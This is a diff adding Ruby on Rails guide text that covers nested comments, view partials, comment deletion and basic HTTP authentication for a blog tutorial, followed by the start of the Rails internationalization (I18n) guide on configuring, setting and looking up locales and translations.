+(`app/views/posts/show.html.erb`) to let us make a new comment:
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<h2>Add a comment:</h2>
+<%= form_for([@post, @post.comments.build]) do |f| %>
+ <p>
+ <%= f.label :commenter %><br />
+ <%= f.text_field :commenter %>
+ </p>
+ <p>
+ <%= f.label :body %><br />
+ <%= f.text_area :body %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+```
+
+This adds a form on the `Post` show page that creates a new comment by
+calling the `CommentsController` `create` action. The `form_for` call here uses
+an array, which will build a nested route, such as `/posts/1/comments`.
+
+Let's wire up the `create` in `app/controllers/comments_controller.rb`:
+
+```ruby
+class CommentsController < ApplicationController
+ def create
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.create(params[:comment].permit(:commenter, :body))
+ redirect_to post_path(@post)
+ end
+end
+```
+
+You'll see a bit more complexity here than you did in the controller for posts.
+That's a side-effect of the nesting that you've set up. Each request for a
+comment has to keep track of the post to which the comment is attached, thus the
+initial call to the `find` method of the `Post` model to get the post in question.
+
+In addition, the code takes advantage of some of the methods available for an
+association. We use the `create` method on `@post.comments` to create and save
+the comment. This will automatically link the comment so that it belongs to that
+particular post.
+
+Once we have made the new comment, we send the user back to the original post
+using the `post_path(@post)` helper. As we have already seen, this calls the
+`show` action of the `PostsController` which in turn renders the `show.html.erb`
+template. This is where we want the comment to show, so let's add that to the
+`app/views/posts/show.html.erb`.
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<% @post.comments.each do |comment| %>
+ <p>
+ <strong>Commenter:</strong>
+ <%= comment.commenter %>
+ </p>
+
+ <p>
+ <strong>Comment:</strong>
+ <%= comment.body %>
+ </p>
+<% end %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@post, @post.comments.build]) do |f| %>
+ <p>
+ <%= f.label :commenter %><br />
+ <%= f.text_field :commenter %>
+ </p>
+ <p>
+ <%= f.label :body %><br />
+ <%= f.text_area :body %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+```
+
+Now you can add posts and comments to your blog and have them show up in the
+right places.
+
+
+
+Refactoring
+-----------
+
+Now that we have posts and comments working, take a look at the
+`app/views/posts/show.html.erb` template. It is getting long and awkward. We can
+use partials to clean it up.
+
+### Rendering Partial Collections
+
+First, we will make a comment partial to extract showing all the comments for the
+post. Create the file `app/views/comments/_comment.html.erb` and put the
+following into it:
+
+```html+erb
+<p>
+ <strong>Commenter:</strong>
+ <%= comment.commenter %>
+</p>
+
+<p>
+ <strong>Comment:</strong>
+ <%= comment.body %>
+</p>
+```
+
+Then you can change `app/views/posts/show.html.erb` to look like the
+following:
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @post.comments %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@post, @post.comments.build]) do |f| %>
+ <p>
+ <%= f.label :commenter %><br />
+ <%= f.text_field :commenter %>
+ </p>
+ <p>
+ <%= f.label :body %><br />
+ <%= f.text_area :body %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+```
+
+This will now render the partial in `app/views/comments/_comment.html.erb` once
+for each comment that is in the `@post.comments` collection. As the `render`
+method iterates over the `@post.comments` collection, it assigns each
+comment to a local variable named the same as the partial, in this case
+`comment` which is then available in the partial for us to show.
+
+### Rendering a Partial Form
+
+Let us also move that new comment section out to its own partial. Again, you
+create a file `app/views/comments/_form.html.erb` containing:
+
+```html+erb
+<%= form_for([@post, @post.comments.build]) do |f| %>
+ <p>
+ <%= f.label :commenter %><br />
+ <%= f.text_field :commenter %>
+ </p>
+ <p>
+ <%= f.label :body %><br />
+ <%= f.text_area :body %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+```
+
+Then you make the `app/views/posts/show.html.erb` look like the following:
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @post.comments %>
+
+<h2>Add a comment:</h2>
+<%= render "comments/form" %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+```
+
+The second render just defines the partial template we want to render,
+`comments/form`. Rails is smart enough to spot the forward slash in that
+string and realize that you want to render the `_form.html.erb` file in
+the `app/views/comments` directory.
+
+The `@post` object is available to any partials rendered in the view because we
+defined it as an instance variable.
+
+Deleting Comments
+-----------------
+
+Another important feature of a blog is being able to delete spam comments. To do
+this, we need to implement a link of some sort in the view and a `DELETE` action
+in the `CommentsController`.
+
+So first, let's add the delete link in the
+`app/views/comments/_comment.html.erb` partial:
+
+```html+erb
+<p>
+ <strong>Commenter:</strong>
+ <%= comment.commenter %>
+</p>
+
+<p>
+ <strong>Comment:</strong>
+ <%= comment.body %>
+</p>
+
+<p>
+ <%= link_to 'Destroy Comment', [comment.post, comment],
+ method: :delete,
+ data: { confirm: 'Are you sure?' } %>
+</p>
+```
+
+Clicking this new "Destroy Comment" link will fire off a `DELETE
+/posts/:post_id/comments/:id` to our `CommentsController`, which can then use
+this to find the comment we want to delete, so let's add a destroy action to our
+controller (`app/controllers/comments_controller.rb`):
+
+```ruby
+class CommentsController < ApplicationController
+
+ def create
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.create(params[:comment])
+ redirect_to post_path(@post)
+ end
+
+ def destroy
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.find(params[:id])
+ @comment.destroy
+ redirect_to post_path(@post)
+ end
+
+end
+```
+
+The `destroy` action will find the post we are looking at, locate the comment
+within the `@post.comments` collection, and then remove it from the
+database and send us back to the show action for the post.
+
+
+### Deleting Associated Objects
+
+If you delete a post then its associated comments will also need to be deleted.
+Otherwise they would simply occupy space in the database. Rails allows you to
+use the `dependent` option of an association to achieve this. Modify the Post
+model, `app/models/post.rb`, as follows:
+
+```ruby
+class Post < ActiveRecord::Base
+ has_many :comments, dependent: :destroy
+ validates :title, presence: true,
+ length: { minimum: 5 }
+ [...]
+end
+```
+
+Security
+--------
+
+If you were to publish your blog online, anybody would be able to add, edit and
+delete posts or delete comments.
+
+Rails provides a very simple HTTP authentication system that will work nicely in
+this situation.
+
+In the `PostsController` we need to have a way to block access to the various
+actions if the person is not authenticated, here we can use the Rails
+`http_basic_authenticate_with` method, allowing access to the requested
+action if that method allows it.
+
+To use the authentication system, we specify it at the top of our
+`PostsController`, in this case, we want the user to be authenticated on every
+action, except for `index` and `show`, so we write that in `app/controllers/posts_controller.rb`:
+
+```ruby
+class PostsController < ApplicationController
+
+ http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
+
+ def index
+ @posts = Post.all
+ end
+
+ # snipped for brevity
+```
+
+We also only want to allow authenticated users to delete comments, so in the
+`CommentsController` (`app/controllers/comments_controller.rb`) we write:
+
+```ruby
+class CommentsController < ApplicationController
+
+ http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
+
+ def create
+ @post = Post.find(params[:post_id])
+ ...
+ end
+ # snipped for brevity
+```
+
+Now if you try to create a new post, you will be greeted with a basic HTTP
+Authentication challenge
+
+
+
+What's Next?
+------------
+
+Now that you've seen your first Rails application, you should feel free to
+update it and experiment on your own. But you don't have to do everything
+without help. As you need assistance getting up and running with Rails, feel
+free to consult these support resources:
+
+* The [Ruby on Rails guides](index.html)
+* The [Ruby on Rails Tutorial](http://railstutorial.org/book)
+* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
+* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
+
+Rails also comes with built-in help that you can generate using the rake command-line utility:
+
+* Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides.
+* Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation.
+
+TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake task you need to install the RedCloth gem. Add it to your `Gemfile` and run `bundle install` and you're ready to go.
+
+Configuration Gotchas
+---------------------
+
+The easiest way to work with Rails is to store all external data as UTF-8. If
+you don't, Ruby libraries and Rails will often be able to convert your native
+data into UTF-8, but this doesn't always work reliably, so you're better off
+ensuring that all external data is UTF-8.
+
+If you have made a mistake in this area, the most common symptom is a black
+diamond with a question mark inside appearing in the browser. Another common
+symptom is characters like "ü" appearing instead of "ü". Rails takes a number
+of internal steps to mitigate common causes of these problems that can be
+automatically detected and corrected. However, if you have external data that is
+not stored as UTF-8, it can occasionally result in these kinds of issues that
+cannot be automatically detected by Rails and corrected.
+
+Two very common sources of data that are not UTF-8:
+
+* Your text editor: Most text editors (such as TextMate), default to saving files as
+ UTF-8. If your text editor does not, this can result in special characters that you
+ enter in your templates (such as é) to appear as a diamond with a question mark inside
+ in the browser. This also applies to your i18n translation files.
+ Most editors that do not already default to UTF-8 (such as some versions of
+ Dreamweaver) offer a way to change the default to UTF-8. Do so.
+* Your database. Rails defaults to converting data from your database into UTF-8 at
+ the boundary. However, if your database is not using UTF-8 internally, it may not
+ be able to store all characters that your users enter. For instance, if your database
+ is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese
+ character, the data will be lost forever once it enters the database. If possible,
+ use UTF-8 as the internal storage of your database.

+Rails Internationalization (I18n) API
+=====================================
+
+The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for **translating your application to a single custom language** other than English or for **providing multi-language support** in your application.
+
+The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits.[^1]
+
+So, in the process of _internationalizing_ your Rails application you have to:
+
+* Ensure you have support for i18n.
+* Tell Rails where to find locale dictionaries.
+* Tell Rails how to set, preserve and switch locales.
+
+In the process of _localizing_ your application you'll probably want to do the following three things:
+
+* Replace or supplement Rails' default locale — e.g. date and time formats, month names, Active Record model names, etc.
+* Abstract strings in your application into keyed dictionaries — e.g. flash messages, static text in your views, etc.
+* Store the resulting dictionaries somewhere.
+
+This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
+
+After reading this guide, you will know:
+
+--------------------------------------------------------------------------------
+
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information.
+
+How I18n in Ruby on Rails Works
+-------------------------------
+
+Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
+
+* providing support for English and similar languages out of the box
+* making it easy to customize and extend everything for other languages
+
+As part of this solution, **every static string in the Rails framework** — e.g. Active Record validation messages, time and date formats — **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults.
+
+### The Overall Architecture of the Library
+
+Thus, the Ruby I18n gem is split into two parts:
+
+* The public API of the i18n framework — a Ruby module with public methods that define how the library works
+* A default backend (which is intentionally named _Simple_ backend) that implements these methods
+
+As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
+
+NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below.
+
+### The Public I18n API
+
+The most important methods of the I18n API are:
+
+```ruby
+translate # Lookup text translations
+localize # Localize Date and Time objects to local formats
+```
+
+These have the aliases #t and #l so you can use them like this:
+
+```ruby
+I18n.t 'store.title'
+I18n.l Time.now
+```
+
+There are also attribute readers and writers for the following attributes:
+
+```ruby
+load_path # Announce your custom translation files
+locale # Get and set the current locale
+default_locale # Get and set the default locale
+exception_handler # Use a different exception_handler
+backend # Use a different backend
+```
+
+So, let's internationalize a simple Rails application from the ground up in the next chapters!
+
+Setup the Rails Application for Internationalization
+----------------------------------------------------
+
+There are just a few simple steps to get up and running with I18n support for your application.
+
+### Configure the I18n Module
+
+Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
+
+Rails adds all `.rb` and `.yml` files from the `config/locales` directory to your **translations load path**, automatically.
+
+The default `en.yml` locale in this directory contains a sample pair of translation strings:
+
+```ruby
+en:
+ hello: "Hello world"
+```
+
+This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/ [...]
+
+The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
+
+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as [...]
+
+The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
+
+NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
+
+The default `application.rb` files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
+
+```ruby
+# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+# config.i18n.default_locale = :de
+```
+
+### Optional: Custom I18n Configuration Setup
+
+For the sake of completeness, let's mention that if you do not want to use the `application.rb` file for some reason, you can always wire up things manually, too.
+
+To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
+
+```ruby
+# in config/initializers/locale.rb
+
+# tell the I18n library where to find your translations
+I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
+
+# set default locale to something other than :en
+I18n.default_locale = :pt
+```
+
+### Setting and Passing the Locale
+
+If you want to translate your Rails application to a **single language other than English** (the default locale), you can set I18n.default_locale to your locale in `application.rb` or an initializer as shown above, and it will persist through the requests.
+
+However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests.
+
+WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful app [...]
+
+The _setting part_ is easy. You can set the locale in a `before_action` in the `ApplicationController` like this:
+
+```ruby
+before_action :set_locale
+
+def set_locale
+ I18n.locale = params[:locale] || I18n.default_locale
+end
+```
+
+This requires you to pass the locale as a URL query parameter as in `http://example.com/books?locale=pt`. (This is, for example, Google's approach.) So `http://localhost:3000?locale=pt` will load the Portuguese localization, whereas `http://localhost:3000?locale=de` would load the German localization, and so on. You may skip the next section and head over to the **Internationalize your application** section, if you want to try things out by manually placing the locale in the URL and relo [...]
+
+Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual `http://example.com/pt/books` versus `http://example.com/en/books`. Let's discuss the different options you have.
+
+### Setting the Locale from the Domain Name
+
+One option you have is to set the locale from the domain name where your application runs. For example, we want `www.example.com` to load the English (or default) locale, and `www.example.es` to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
+
+* The locale is an _obvious_ part of the URL.
+* People intuitively grasp in which language the content will be displayed.
+* It is very trivial to implement in Rails.
+* Search engines seem to like that content in different languages lives at different, inter-linked domains.
+
+You can implement it like this in your `ApplicationController`:
+
+```ruby
+before_action :set_locale
+
+def set_locale
+ I18n.locale = extract_locale_from_tld || I18n.default_locale
+end
+
+# Get locale from top-level domain or return nil if such locale is not available
+# You have to put something like:
+# 127.0.0.1 application.com
+# 127.0.0.1 application.it
+# 127.0.0.1 application.pl
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_tld
+ parsed_locale = request.host.split('.').last
+ I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+end
+```
+
+We can also set the locale from the _subdomain_ in a very similar way:
+
+```ruby
+# Get locale code from request subdomain (like http://it.application.local:3000)
+# You have to put something like:
+# 127.0.0.1 gr.application.local
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_subdomain
+ parsed_locale = request.subdomains.first
+ I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+end
+```
+
+If your application includes a locale switching menu, you would then have something like this in it:
+
+```ruby
+link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
+```
+
+assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`.
+
+This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
+
+### Setting the Locale from the URL Params
+
+The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.locale = params[:locale]` _before_action_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case.
+
+This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
+
+Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(locale: I18n.locale))`) would be tedious and probably impossible, of course.
+
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method).
+
+We can include something like this in our `ApplicationController` then:
+
+```ruby
+# app/controllers/application_controller.rb
+def default_url_options(options={})
+ logger.debug "default_url_options is passed options: #{options.inspect}\n"
+ { locale: I18n.locale }
+end
+```
+
+Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: `http://localhost:3001/?locale=ja`.
+
+You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
+
+You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html) option in this way:
+
+```ruby
+# config/routes.rb
+scope "/:locale" do
+ resources :books
+end
+```
+
+Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). An URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed).
+
+If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:
+
+```ruby
+# config/routes.rb
+scope "(:locale)", locale: /en|nl/ do
+ resources :books
+end
+```
+
+With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified.
+
+Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.)
+
+You would probably need to map URLs like these:
+
+```ruby
+# config/routes.rb
+match '/:locale' => 'dashboard#index'
+```
+
+Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
+
+NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master).
+
+### Setting the Locale from the Client Supplied Information
+
+In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites — se [...]
+
+
+#### Using `Accept-Language`
+
+One source of client supplied information would be an `Accept-Language` HTTP header. People may [set this in their browser](http://www.w3.org/International/questions/qa-lang-priorities) or other clients (such as _curl_).
+
+A trivial implementation of using an `Accept-Language` header would be:
+
+```ruby
+def set_locale
+ logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+ I18n.locale = extract_locale_from_accept_language_header
+ logger.debug "* Locale set to '#{I18n.locale}'"
+end
+private
+def extract_locale_from_accept_language_header
+ request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+end
+```
+
+Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
+
+#### Using GeoIP (or Similar) Database
+
+Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above — you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
+
+#### User Profile
+
+You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above — you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
+
+Internationalizing your Application
+-----------------------------------
+
+OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
+
+Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide necessary translations for these abstracts.
+
+You most probably have something like this in one of your applications:
+
+```ruby
+# config/routes.rb
+Yourapp::Application.routes.draw do
+ root to: "home#index"
+end
+```
+
+```ruby
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+ def index
+ flash[:notice] = "Hello Flash"
+ end
+end
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<h1>Hello World</h1>
+<p><%= flash[:notice] %></p>
+```
+
+
+
+### Adding Translations
+
+Obviously there are **two strings that are localized to English**. In order to internationalize this code, **replace these strings** with calls to Rails' `#t` helper with a key that makes sense for the translation:
+
+```ruby
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+ def index
+ flash[:notice] = t(:hello_flash)
+ end
+end
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+```
+
+When you now render this view, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing.
+
+
+
+NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`.
+
+So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
+
+```ruby
+# config/locales/en.yml
+en:
+ hello_world: Hello world!
+ hello_flash: Hello flash!
+
+# config/locales/pirate.yml
+pirate:
+ hello_world: Ahoy World
+ hello_flash: Ahoy Flash
+```
+
+There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
+
+
+
+And when you change the URL to pass the pirate locale (`http://localhost:3000?locale=pirate`), you'll get:
+
+
+
+NOTE: You need to restart the server when you add new locale files.
+
+You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant po [...]
+
+### Passing variables to translations
+
+You can use variables in the translation messages and pass their values from the view.
+
+```erb
+# app/views/home/index.html.erb
+<%=t 'greet_username', user: "Bill", message: "Goodbye" %>
+```
+
+```yaml
+# config/locales/en.yml
+en:
+ greet_username: "%{message}, %{user}!"
+```
+
+### Adding Date/Time Formats
+
+OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option — by default the `:default` format is used.
+
+```erb
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p
+<p><%= l Time.now, format: :short %></p>
+```
+
+And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
+
+```ruby
+# config/locales/pirate.yml
+pirate:
+ time:
+ formats:
+ short: "arrrround %H'ish"
+```
+
+So that would give you:
+
+
+
+TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at Github](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will [...]
+
+### Inflection Rules For Other Locales
+
+Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
+
+### Localized Views
+
+Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will b [...]
+
+You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
+
+### Organization of Locale Files
+
+When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
+
+For example, your `config/locales` directory could look like this:
+
+```
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+```
+
+This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
+
+NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
+
+```ruby
+ # config/application.rb
+ config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
+
+```
+
+Do check the [Rails i18n Wiki](http://rails-i18n.org/wiki) for list of tools available for managing translations.
+
+Overview of the I18n API Features
+---------------------------------
+
+You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
+
+Covered are features like these:
+
+* looking up translations
+* interpolating data into translations
+* pluralizing translations
+* using safe HTML translations
+* localizing dates, numbers, currency, etc.
+
+### Looking up Translations
+
+#### Basic Lookup, Scopes and Nested Keys
+
+Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
+
+```ruby
+I18n.t :message
+I18n.t 'message'
+```
+
+The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
+
+```ruby
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+```
+
+This looks up the `:record_invalid` message in the Active Record error messages.
+
+Additionally, both the key and scopes can be specified as dot-separated keys as in:
+
+```ruby
+I18n.translate "activerecord.errors.messages.record_invalid"
+```
+
+Thus the following calls are equivalent:
+
+```ruby
+I18n.t 'activerecord.errors.messages.record_invalid'
+I18n.t 'errors.messages.record_invalid', scope: :active_record
+I18n.t :record_invalid, scope: 'activerecord.errors.messages'
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+```
+
+#### Defaults
+
+When a `:default` option is given, its value will be returned if the translation is missing:
+
+```ruby
+I18n.t :missing, default: 'Not here'
+# => 'Not here'
+```
+
+If the `:default` value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
+
+E.g., the following first tries to translate the key `:missing` and then the key `:also_missing.` As both do not yield a result, the string "Not here" will be returned:
+
+```ruby
+I18n.t :missing, default: [:also_missing, 'Not here']
+# => 'Not here'
+```
+
+#### Bulk and Namespace Lookup
+
